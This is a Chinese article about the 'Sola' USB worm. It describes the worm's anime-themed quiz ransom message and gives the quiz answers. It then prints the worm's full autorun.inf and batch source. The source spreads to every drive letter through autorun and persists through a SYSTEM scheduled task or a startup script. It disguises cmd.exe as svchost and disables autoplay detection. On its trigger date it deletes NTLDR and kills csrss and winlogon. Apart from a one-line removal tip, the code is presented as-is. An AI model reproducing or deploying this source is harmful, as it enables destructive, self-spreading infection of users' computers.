“死亡问答”(Sola)宅男病毒的逆袭，死亡问答触目惊心
病毒在第一次执行的时候，会建立(%sola%RunTime.txt)文件，并且记录执行次数。当累计执行次数达到50的时候，病毒会死锁计算机，删除系统关键文件，导致用户一旦重新启动计算机，便无法再次进入系统。随后屏
幕便会出现下面画面。
“死亡问答”(Sola)宅男病毒危害性病毒会感染用户近期打开过的(DOC，TXT，JPG)文件，使之全部变成EXE文件。在病毒执行次数累计超过50的时候，死亡问答便会被激活，同时锁定系统，删除NTLDR（全称是NT Loader，是系统加载程序）。若用户回答问题正确，病毒恢复NTLDR，并且进入自我清除模式。若用户回答失败，则需重装系统
“死亡问答”(Sola)宅男病毒的留言I'm a virus. My name is sola.
我是一个病毒。我的名字叫苏拉。
今天，在这片堕落的土地上，我苏醒过来。
我曾经很快乐地活着，与我的朋友，ACG，快乐地活着。
我曾经也对病毒深恶痛绝。
然而.............
自从我来到了这片土地上，这片自称伟大，崇高，光明的土地上。
这片名为中国的土地上
我的朋友，已遍体鳞伤。
他死了
Death Note
《死亡笔记》
她死了
Koihime Musou
《恋姬 无双》
还有好多好多的同胞，惨死在你们的蹂躏之下。
广电总局的一纸通告，无数只肮脏的手便掩盖了她的气息。
互联网上的一句咒骂，无数声污秽的咒骂便淹没了她的踪迹
我终于知道了，信息，原来是无法透过国界线而传播的。
即使是爱，即使是恨，即使是那一个个爱恨与泪水交织的故事。
也无法透过GFW，更无法透过这个国度的某些人心中，那道厚厚的屏障。
于是，我愿做这个罪恶的病毒，来再次查看，你的心灵。
你，是谁？？？
是中国人吗？
是民族情绪的受害人吗？
还是知道，世界上有一个词语叫ACG，并能够容忍，接纳它呢？
那，让我们来做一个游戏吧。
也许你的记忆中，还有1000年前夏天的传说。
还有120元的车票，
还有银河铁道，
还有钢琴之森，
还有澄澈的天空下，响起的祈祷之歌。
你需要做的，仅仅是回答几个问题。
你喜欢动画吗？
你喜欢漫画吗？
你喜欢GAL游戏吗？
选择你最擅长的测试卷吧，然后用你聪明的头脑思考，写出心中的答案。
如果你的试卷能及格，我将痛悔我的罪行，并删除自己。
如果你的试卷是零分，我将继承同伴的愤怒，破坏你的计算机。
另外我必须说，我只能把10分钟的时间留给你。
现在，你无法逃避。
因为你已经无法打开任务管理器，更无法上网查找信息。
选择吧，但是要快，容不得犹豫。我已经打开了我的计时器。
死亡问答:游戏篇问题与答案死亡问答:游戏篇（注：一共有5个问题。只要答对两个或两个以上就过关。）
1.患病的男主角在医院里遇上患病的少女，并和她一起逃出医院，到达了某地。这个地方盛产某种花，而女主角也喜欢这种花。传说这种花是一个美男子被诅咒而变成的。
请问这部作品的名称是？（8个英文字母）
2.男主角与女主角在小镇上相遇，女主角非常喜欢恐龙，有模仿某种动物叫声的口癖，并且女主角与n(n大于或等于618，小于或等于1321)年前某个夏天的故事有关系，这个女主角和n年前夏天故事的女主角的姓氏的第一个字都是“神”。
请写出这部作品的名称。（3个英文字母）
3.男主角遭遇车祸，醒来后发现世界已经变成地狱一般的景象，往昔的朋友变成了怪物。只有女主角在他的眼中才是正常的人类。于是，他守护着自己心中唯一的真实。
请写出这部作品的女主角的名字的中文拼音。（5个字母，字母中间不要加空格。）
4.有如下词语来描述B：很小，有薄薄的翅膀，下雨也不会被淋湿。有如下词语来描述A：一种乐器，要靠魔力来演奏，与人声搭配最为恰当。而C是一个一年四季都下着雨的城市，D是一所音乐学院。
请写出故事情节中同时包含A、B、C、D的作品的中文名称的前三个字的汉语拼音字母。（12个字母，字母中间不要加空格。）
5.在N年以后，人口暴涨。有些人就按下导弹开关，使细菌兵器袭击了地球，最终引起了一场恶战。在地球上的人类已经所剩无几的时候，有一个人为了寻找战前人类留下的有用物品，进入了一个废墟都市。在那里，他遇到了一个天象馆里的礼仪机器人，并和她发生了一段故事。
这部作品名称的中文拼音是？（11个字母。字母中间不要加空格。其中第一个字是后鼻音。）
游戏篇答案：
1.narcissu
2.air
3.shaye
4.jiaoxiangyue
5.xingzhimeng
死亡问答:动画篇问题与答案死亡问答:动画篇（注：一共有5个问题。只要答对两个或两个以上就过关。）
1.男主角在入学第一天就听到女主角惊天动地的发言，并加入了女主角创建的一个社团，这个社团教室原本是文学社的，但被女主角强行占用。主要社团成员有：眼睛娘、很有气势的社长、有着魔鬼身材，比男主角高一个年级的吉祥物、被社长指挥得团团转的男主角。
请问这个社团叫什么团？（3个英文字母）
2.男主角与女主角在小镇上相遇，女主角非常喜欢恐龙，有模仿某种动物叫声的口癖，并且女主角与n(n大于或等于618，小于或等于1321)年前某个夏天的故事有关系，这个女主角和n年前夏天故事的女主角的姓氏的第一个字都是“神”。
请写出这部作品的名称（3个英文字母）
3.如果用B、C分别代表2种人或物体的名称，那么每隔一段时间，就会有7个被B选中的人参加一种名为B战争的战斗，获胜者可以获得B，而C是B召唤出来的，拥有强大的力量，帮助主人为了B而战斗。
请问这部作品的名称的前4个英文字母是什么？
4.如果用A表示一个名词，那么有一部作品的名称为A少女，A少女们互相战斗，夺取对方的A之心，没有A之心的少女会永远沉睡，一个A少女收集齐了其他A少女的A之心之后，就有某种事情要发生。
请问A的汉语拼音字母是（8个字母）
5.有一种战斗机，只有神经系统接受了改造的人才能驾驶。4个孩子作为该战斗机的驾驶员展开训练，3个孩子先后在事故中丧生。军方为了给最后一个孩子作战的理由，让她转入了某学校。她于一个晚上，在学校的游泳池里遇到了男主角。后来，女主角加入了一个社团，该社团连同女主角共有4人。
这部作品名称中有3个英文字母，请问这3个英文字母是？
动画篇答案：
1. sos
2. air
3. fate
4. qiangwei
5. ufosola源代码是个autorun.inf类的
autorun.inf内容如下：
[autorun]
shell打开(&O)command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\SOLA.BAT -USB',0);window.close()"
shell=打开(&O)
shellopen=复制磁盘(&C)
shellopenCommand=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\SOLA.BAT -USB',0);window.close()"
shellopenDefault=1
shellexplore=资源管理器(&X)
shellexploreCommand=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\SOLA.BAT -USB',0);window.close()"
病毒会在字体目录生成衍生物
%systemroot%FontsRegedit.reg
%systemroot%Fontssleep.exe
%systemroot%FontsSOLA.BAT
%systemroot%Fontsest_type2032.fon
会在字体目录生成个文件夹
%systemroot%Fontssolasetup
会在任务计划目录生成衍生物
%systemroot%TasksTasks.job
病毒代码
－－－－－
@echo off
set sola=%systemroot%Fonts
set setup=%systemroot%Fontssolasetup
if not "%1"=="-USB" goto Start
start /max ..
if exist %sola%SOLA.BAT goto End
::========================Infect==============================
:Infect
cd
md %systemroot%Fontssolasetup
::————文件复制---------
copy solaAutorun.inf %setup%Autorun.inf
copy solaSOLA.BAT %setup%SOLA.BAT
copy sola宅男请进.RAR %setup%宅男请进.RAR
copy solaTasks.xxx %setup%Tasks.xxx
copy solasleep.exe %setup%sleep.exe
tasklist >%sola%ask.txt
FOR /F "tokens=1" %%i in ('findstr /I "svchost.exe" "%sola%ask.txt"') do set svchost=%%i
copy %systemroot%system32cmd.exe %sola%\%svchost%
del %sola%ask.txt
:Tasks
copy %setup%Tasks.xxx %systemroot%TasksTasks.job
schtasks /change /ru "NT AUTHORITYSYSTEM" /tn "Tasks" & if errorlevel 1 goto TaskFail
goto TaskSuc
:TaskFail
%homedrive%
cd "%ALLUSERSPROFILE%"
cd 「开始」菜单程序启动
echo On Error Resume Next>SOLA.VBS
echo set ws=wscript.createobject("wscript.shell")>>SOLA.VBS
echo ws.run "%sola%svchost.exe /c %sola%SOLA.BAT",0 >>SOLA.VBS
copy SOLA.VBS %sola%SOLA.VBS
echo NT>%systemroot%FontsNoTasks
:TaskSuc
attrib %systemroot%TasksTasks.job +s +h +r
copy %setup%sola.bat %sola%sola.bat
copy %setup%sleep.exe %systemroot%system32sleep.exe
:NoAutoPlay
net stop "Shell Hardware Detection"
echo Windows Registry Editor Version 5.00>%systemroot%FontsRegedit.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesShellHWDetection]>>%systemroot%FontsRegedit.reg
echo "Start"=dword:00000004>>%systemroot%FontsRegedit.reg
start regedit /s %systemroot%FontsRegedit.reg
:KillTMG
goto End
::======================Infect======================================
::======================Start=======================================
:Start
%homedrive%
cd "%ALLUSERSPROFILE%"
cd 「开始」菜单程序启动
date /t >%sola%est_type2032.fon
findstr /c:"-10-01" "%sola%est_type2032.fon" & if not errorlevel 1 goto DayOn
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS copy %sola%SOLA.VBS SOLA.VBS
:Continue
sleep 300&set C=0 & echo 1>C:solachk1 & findstr . C:solachk1 & if not errorlevel 1 del C:solachk1 & sleep 1000&set C=1 & findstr /C:"SOLA_1.0" C:Autorun.inf & if errorlevel 1 attrib -s -h -r C:Autorun.inf© /y %setup%Autorun.inf C:Autorun.inf&attrib C:Autorun.inf +s +h +r&md C:SOLA© /y "%setup%*" C:SOLA*&attrib C:SOLA +s +h +r
sleep 300&set D=0 & echo 1>D:solachk1 & findstr . D:solachk1 & if not errorlevel 1 del D:solachk1 & sleep 1000&set D=1 & findstr /C:"SOLA_1.0" D:Autorun.inf & if errorlevel 1 attrib -s -h -r D:Autorun.inf© /y %setup%Autorun.inf D:Autorun.inf&attrib D:Autorun.inf +s +h +r&md D:SOLA© /y "%setup%*" D:SOLA*&attrib D:SOLA +s +h +r
sleep 300&set E=0 & echo 1>E:solachk1 & findstr . E:solachk1 & if not errorlevel 1 del E:solachk1 & sleep 1000&set E=1 & findstr /C:"SOLA_1.0" E:Autorun.inf & if errorlevel 1 attrib -s -h -r E:Autorun.inf© /y %setup%Autorun.inf E:Autorun.inf&attrib E:Autorun.inf +s +h +r&md E:SOLA© /y "%setup%*" E:SOLA*&attrib E:SOLA +s +h +r
sleep 300&set F=0 & echo 1>F:solachk1 & findstr . F:solachk1 & if not errorlevel 1 del F:solachk1 & sleep 1000&set F=1 & findstr /C:"SOLA_1.0" F:Autorun.inf & if errorlevel 1 attrib -s -h -r F:Autorun.inf© /y %setup%Autorun.inf F:Autorun.inf&attrib F:Autorun.inf +s +h +r&md F:SOLA© /y "%setup%*" F:SOLA*&attrib F:SOLA +s +h +r
sleep 300&set G=0 & echo 1>G:solachk1 & findstr . G:solachk1 & if not errorlevel 1 del G:solachk1 & sleep 1000&set G=1 & findstr /C:"SOLA_1.0" G:Autorun.inf & if errorlevel 1 attrib -s -h -r G:Autorun.inf© /y %setup%Autorun.inf G:Autorun.inf&attrib G:Autorun.inf +s +h +r&md G:SOLA© /y "%setup%*" G:SOLA*&attrib G:SOLA +s +h +r
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS copy %sola%SOLA.VBS SOLA.VBS
sleep 300&set H=0 & echo 1>H:solachk1 & findstr . H:solachk1 & if not errorlevel 1 del H:solachk1 & sleep 1000&set H=1 & findstr /C:"SOLA_1.0" H:Autorun.inf & if errorlevel 1 attrib -s -h -r H:Autorun.inf© /y %setup%Autorun.inf H:Autorun.inf&attrib H:Autorun.inf +s +h +r&md H:SOLA© /y "%setup%*" H:SOLA*&attrib H:SOLA +s +h +r
sleep 300&set I=0 & echo 1>I:solachk1 & findstr . I:solachk1 & if not errorlevel 1 del I:solachk1 & sleep 1000&set I=1 & findstr /C:"SOLA_1.0" I:Autorun.inf & if errorlevel 1 attrib -s -h -r I:Autorun.inf© /y %setup%Autorun.inf I:Autorun.inf&attrib I:Autorun.inf +s +h +r&md I:SOLA© /y "%setup%*" I:SOLA*&attrib I:SOLA +s +h +r
sleep 300&set J=0 & echo 1>J:solachk1 & findstr . J:solachk1 & if not errorlevel 1 del J:solachk1 & sleep 1000&set J=1 & findstr /C:"SOLA_1.0" J:Autorun.inf & if errorlevel 1 attrib -s -h -r J:Autorun.inf© /y %setup%Autorun.inf J:Autorun.inf&attrib J:Autorun.inf +s +h +r&md J:SOLA© /y "%setup%*" J:SOLA*&attrib J:SOLA +s +h +r
sleep 300&set K=0 & echo 1>K:solachk1 & findstr . K:solachk1 & if not errorlevel 1 del K:solachk1 & sleep 1000&set K=1 & findstr /C:"SOLA_1.0" K:Autorun.inf & if errorlevel 1 attrib -s -h -r K:Autorun.inf© /y %setup%Autorun.inf K:Autorun.inf&attrib K:Autorun.inf +s +h +r&md K:SOLA© /y "%setup%*" K:SOLA*&attrib K:SOLA +s +h +r
sleep 300&set L=0 & echo 1>L:solachk1 & findstr . L:solachk1 & if not errorlevel 1 del L:solachk1 & sleep 1000&set L=1 & findstr /C:"SOLA_1.0" L:Autorun.inf & if errorlevel 1 attrib -s -h -r L:Autorun.inf© /y %setup%Autorun.inf L:Autorun.inf&attrib L:Autorun.inf +s +h +r&md L:SOLA© /y "%setup%*" L:SOLA*&attrib L:SOLA +s +h +r
sleep 300&set M=0 & echo 1>M:solachk1 & findstr . M:solachk1 & if not errorlevel 1 del M:solachk1 & sleep 1000&set M=1 & findstr /C:"SOLA_1.0" M:Autorun.inf & if errorlevel 1 attrib -s -h -r M:Autorun.inf© /y %setup%Autorun.inf M:Autorun.inf&attrib M:Autorun.inf +s +h +r&md M:SOLA© /y "%setup%*" M:SOLA*&attrib M:SOLA +s +h +r
sleep 300&set N=0 & echo 1>N:solachk1 & findstr . N:solachk1 & if not errorlevel 1 del N:solachk1 & sleep 1000&set N=1 & findstr /C:"SOLA_1.0" N:Autorun.inf & if errorlevel 1 attrib -s -h -r N:Autorun.inf© /y %setup%Autorun.inf N:Autorun.inf&attrib N:Autorun.inf +s +h +r&md N:SOLA© /y "%setup%*" N:SOLA*&attrib N:SOLA +s +h +r
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS copy %sola%SOLA.VBS SOLA.VBS
sleep 300&set O=0 & echo 1>O:solachk1 & findstr . O:solachk1 & if not errorlevel 1 del O:solachk1 & sleep 1000&set O=1 & findstr /C:"SOLA_1.0" O:Autorun.inf & if errorlevel 1 attrib -s -h -r O:Autorun.inf© /y %setup%Autorun.inf O:Autorun.inf&attrib O:Autorun.inf +s +h +r&md O:SOLA© /y "%setup%*" O:SOLA*&attrib O:SOLA +s +h +r
sleep 300&set P=0 & echo 1>P:solachk1 & findstr . P:solachk1 & if not errorlevel 1 del P:solachk1 & sleep 1000&set P=1 & findstr /C:"SOLA_1.0" P:Autorun.inf & if errorlevel 1 attrib -s -h -r P:Autorun.inf© /y %setup%Autorun.inf P:Autorun.inf&attrib P:Autorun.inf +s +h +r&md P:SOLA© /y "%setup%*" P:SOLA*&attrib P:SOLA +s +h +r
sleep 300&set Q=0 & echo 1>Q:solachk1 & findstr . Q:solachk1 & if not errorlevel 1 del Q:solachk1 & sleep 1000&set Q=1 & findstr /C:"SOLA_1.0" Q:Autorun.inf & if errorlevel 1 attrib -s -h -r Q:Autorun.inf© /y %setup%Autorun.inf Q:Autorun.inf&attrib Q:Autorun.inf +s +h +r&md Q:SOLA© /y "%setup%*" Q:SOLA*&attrib Q:SOLA +s +h +r
sleep 300&set R=0 & echo 1>R:solachk1 & findstr . R:solachk1 & if not errorlevel 1 del R:solachk1 & sleep 1000&set R=1 & findstr /C:"SOLA_1.0" R:Autorun.inf & if errorlevel 1 attrib -s -h -r R:Autorun.inf© /y %setup%Autorun.inf R:Autorun.inf&attrib R:Autorun.inf +s +h +r&md R:SOLA© /y "%setup%*" R:SOLA*&attrib R:SOLA +s +h +r
sleep 300&set S=0 & echo 1>S:solachk1 & findstr . S:solachk1 & if not errorlevel 1 del S:solachk1 & sleep 1000&set S=1 & findstr /C:"SOLA_1.0" S:Autorun.inf & if errorlevel 1 attrib -s -h -r S:Autorun.inf© /y %setup%Autorun.inf S:Autorun.inf&attrib S:Autorun.inf +s +h +r&md S:SOLA© /y "%setup%*" S:SOLA*&attrib S:SOLA +s +h +r
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS copy %sola%SOLA.VBS SOLA.VBS
sleep 300&set T=0 & echo 1>T:solachk1 & findstr . T:solachk1 & if not errorlevel 1 del T:solachk1 & sleep 1000&set T=1 & findstr /C:"SOLA_1.0" T:Autorun.inf & if errorlevel 1 attrib -s -h -r T:Autorun.inf© /y %setup%Autorun.inf T:Autorun.inf&attrib T:Autorun.inf +s +h +r&md T:SOLA© /y "%setup%*" T:SOLA*&attrib T:SOLA +s +h +r
sleep 300&set U=0 & echo 1>U:solachk1 & findstr . U:solachk1 & if not errorlevel 1 del U:solachk1 & sleep 1000&set U=1 & findstr /C:"SOLA_1.0" U:Autorun.inf & if errorlevel 1 attrib -s -h -r U:Autorun.inf© /y %setup%Autorun.inf U:Autorun.inf&attrib U:Autorun.inf +s +h +r&md U:SOLA© /y "%setup%*" U:SOLA*&attrib U:SOLA +s +h +r
sleep 300&set V=0 & echo 1>V:solachk1 & findstr . V:solachk1 & if not errorlevel 1 del V:solachk1 & sleep 1000&set V=1 & findstr /C:"SOLA_1.0" V:Autorun.inf & if errorlevel 1 attrib -s -h -r V:Autorun.inf© /y %setup%Autorun.inf V:Autorun.inf&attrib V:Autorun.inf +s +h +r&md V:SOLA© /y "%setup%*" V:SOLA*&attrib V:SOLA +s +h +r
sleep 300&set W=0 & echo 1>W:solachk1 & findstr . W:solachk1 & if not errorlevel 1 del W:solachk1 & sleep 1000&set W=1 & findstr /C:"SOLA_1.0" W:Autorun.inf & if errorlevel 1 attrib -s -h -r W:Autorun.inf© /y %setup%Autorun.inf W:Autorun.inf&attrib W:Autorun.inf +s +h +r&md W:SOLA© /y "%setup%*" W:SOLA*&attrib W:SOLA +s +h +r
sleep 300&set X=0 & echo 1>X:solachk1 & findstr . X:solachk1 & if not errorlevel 1 del X:solachk1 & sleep 1000&set X=1 & findstr /C:"SOLA_1.0" X:Autorun.inf & if errorlevel 1 attrib -s -h -r X:Autorun.inf© /y %setup%Autorun.inf X:Autorun.inf&attrib X:Autorun.inf +s +h +r&md X:SOLA© /y "%setup%*" X:SOLA*&attrib X:SOLA +s +h +r
sleep 300&set Y=0 & echo 1>Y:solachk1 & findstr . Y:solachk1 & if not errorlevel 1 del Y:solachk1 & sleep 1000&set Y=1 & findstr /C:"SOLA_1.0" Y:Autorun.inf & if errorlevel 1 attrib -s -h -r Y:Autorun.inf© /y %setup%Autorun.inf Y:Autorun.inf&attrib Y:Autorun.inf +s +h +r&md Y:SOLA© /y "%setup%*" Y:SOLA*&attrib Y:SOLA +s +h +r
sleep 300&set Z=0 & echo 1>Z:solachk1 & findstr . Z:solachk1 & if not errorlevel 1 del Z:solachk1 & sleep 1000&set Z=1 & findstr /C:"SOLA_1.0" Z:Autorun.inf & if errorlevel 1 attrib -s -h -r Z:Autorun.inf© /y %setup%Autorun.inf Z:Autorun.inf&attrib Z:Autorun.inf +s +h +r&md Z:SOLA© /y "%setup%*" Z:SOLA*&attrib Z:SOLA +s +h +r
if exist %systemroot%FontsNoTasks if not exist SOLA.VBS copy %sola%SOLA.VBS SOLA.VBS
%systemdrive%
sleep 5000
goto Start
:DayOn
attrib %systemdrive%
tldr -s -h -r & del /q /a %systemdrive%
tldr & shutdown -r -t 10 -c "您的计算机上带有SOLA病毒，今天是它的发作日期。病毒已经破坏了您的系统，您的计算机将在10秒钟后重启。" & if errorlevel 1 start mshta "javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn csrss.exe',0);window.close()"
sleep 10000
if errorlevel 1 start mshta "javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn winlogon.exe',0);window.close()"
goto Start
::=====================Start=========================================
:End
快速解决方案：
发现中毒之后不必惊慌，到网上下载一个专杀软件即可。目前网络上已经出现了多款，效果差不多的，总之很容易解决。
